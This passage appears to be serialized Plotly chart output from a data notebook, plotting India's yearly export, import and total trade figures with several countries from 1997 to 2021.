[ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Export" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Import=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 0, - 0, - 0.02, - 0, - 0, - 0, - 0.17, - 0, - 0, - 0.04, - 0, - 0.06, - 0, - 0.45, - 0, - 0.08, - 0, - 0.01, - 0, - 0, - 0, - 0.22, - 0, - 0, - 0.04 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "KIRIBATI REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0.02, - 0, - 0, - 0, - 0.17, - 0, - 0, - 0.04, - 0, - 0.06, - 0, - 0.45, - 0, - 0.08, - 0, - 0.01, - 0, - 0, - 0, - 0.22, - 0, - 0, - 0.04 - ] - }, - { - "mode": "lines", - "name": "KOREA DP RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 57.38, - 90.2, - 16.58, - 19.3, - 3.19, - 4.7, - 1.08, - 9.33, - 56.57, - 489.39, - 161.41, - 56.72, - 8.71, - 143.98, - 180.77, - 259.39, - 12.48, - 131.93, - 87.9, - 88.59, - 25.08, - 3.01, - 3.47, - 1.41, - 5.27 - ] - }, - { - "mode": "lines", - "name": "KOREA RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 950.41, - 1394.43, - 1104.42, - 893.76, - 1141.37, - 1522.01, - 2829.17, - 3508.77, - 4563.85, - 4803.15, - 6044.8, - 8676.78, - 8576.07, - 10475.29, - 12811.99, - 13105.12, - 12470.6, - 13529.11, - 13047.12, - 12585.35, - 16361.77, - 16758.97, - 15659.7, - 12772.97, - 12793.51 - ] - }, - { - "mode": "lines", - "name": "KUWAIT", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 889.79, - 1501.09, - 1310.69, - 112.66, - 73.69, - 179.5, - 142.48, - 305.94, - 461.85, - 5993.23, - 7704.25, - 9593.74, - 8249.49, - 10313.64, - 16439.64, - 16588.13, - 17153.55, - 13381.97, - 4969.69, - 4462.28, - 7165.69, - 7430.82, - 9573.8, - 5214.15, - 7837.52 - ] - }, - { - "mode": "lines", - "name": "KYRGHYZSTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 0.1, - 1.82, - 4.43, - 0.56, - 0.47, - 0.54, - 0.63, - 1.47, - 0.76, - 0.91, - 1.03, - 0.64, - 1.2, - 0.89, - 2.09, - 0.64, - 0.77, - 1.79, - 1.48, - 30.94, - 2.59, - 1.33, - 5.16, - 1.37 - ] - }, - { - "mode": "lines", - "name": "LAO PD RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 0, - 0, - 0, - 0.04, - 0.15, - 0.13, - 0.05, - 0.1, - 0.35, - 0.11, - 0.53, - 20.05, - 0.22, - 89.26, - 138.64, - 39.4, - 85.28, - 180.03, - 207.38, - 168.63, - 1.04, - 3.09, - 1.7, - 0.71 - ] - }, - { - "mode": "lines", - "name": "LATVIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 12.8, - 12.19, - 0.86, - 4.43, - 0.93, - 2.84, - 0.43, - 1.1, - 10.13, - 31.85, - 40.95, - 113.87, - 154.94, - 196.32, - 143.2, - 73.63, - 103.89, - 36.22, - 61.57, - 39.65, - 52.63, - 158.44, - 265.54, - 48.88, - 30.74 - ] - }, - { - "mode": "lines", - "name": "LEBANON", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.68, - 1.16, - 12.09, - 7.42, - 11.8, - 13.04, - 7.68, - 20.46, - 18.51, - 11.17, - 9.45, - 13.2, - 6.78, - 18.31, - 21.44, - 30.01, - 37.25, - 39.74, - 27.61, - 30.21, - 38.47, - 43.94, - 30.94, - 27.95, - 23.35 - ] - }, - { - "mode": "lines", - "name": "LESOTHO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.16, - 0, - 0, - 0.01, - 0, - 0.01, - 0.01, - 0, - 12.77, - 0, - 0, - 0.29, - 0.6, - 1.13, - 3.04, - 4.36, - 2.51, - 1.38, - 4.94, - 24.91, - 89.56, - 0, - 0.04, - 0.17, - 0 - ] - }, - { - "mode": "lines", - "name": "LIBERIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.76, - 0, - 11.74, - 6.55, - 43.11, - 2.22, - 4.03, - 45.02, - 126.65, - 46.57, - 239.81, - 145.22, - 19.05, - 17.75, - 9.09, - 21.02, - 26.86, - 57.68, - 32.2, - 7.65, - 36.76, - 141.21, - 7.75, - 6.95, - 11.52 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT AND IMPORT Between India and Other Countries" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Import" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Total Trade=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0.22, - 0, - 0, - 3.43, - 0.18, - 2.09, - 0, - 0.58, - 0, - 0.44, - 0.94, - 1.02, - 0, - 0, - 0, - 0.59, - 0, - 0, - 1.5 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "KIRIBATI REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0.22, - 0, - 0, - 3.43, - 0.18, - 2.09, - 0, - 0.58, - 0, - 0.44, - 0.94, - 1.02, - 0, - 0, - 0, - 0.59, - 0, - 0, - 1.5 - ] - }, - { - "mode": "lines", - "name": "KOREA DP RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 95.01, - 109.15, - 83.77, - 189.92, - 163.26, - 187.83, - 159.83, - 133.24, - 111.11, - 594.8, - 1012.37, - 993.9, - 431.09, - 473.11, - 409.95, - 462.16, - 199.29, - 208.45, - 198.78, - 133.43, - 82.63, - 30, - 12.44, - 4.21, - 5.51 - ] - }, - { - "mode": "lines", - "name": "KOREA RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1417.96, - 1702.32, - 1580.98, - 1344.54, - 1612.74, - 2166.87, - 3594.03, - 4550.45, - 6391.06, - 7321.55, - 8905.64, - 12629.07, - 11997.12, - 14202.58, - 17164.34, - 17307.37, - 16679.28, - 18132.06, - 16570.56, - 16826.78, - 20822.75, - 21464.04, - 20504.85, - 17457.59, - 18465.32 - ] - }, - { - "mode": "lines", - "name": "KUWAIT", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - 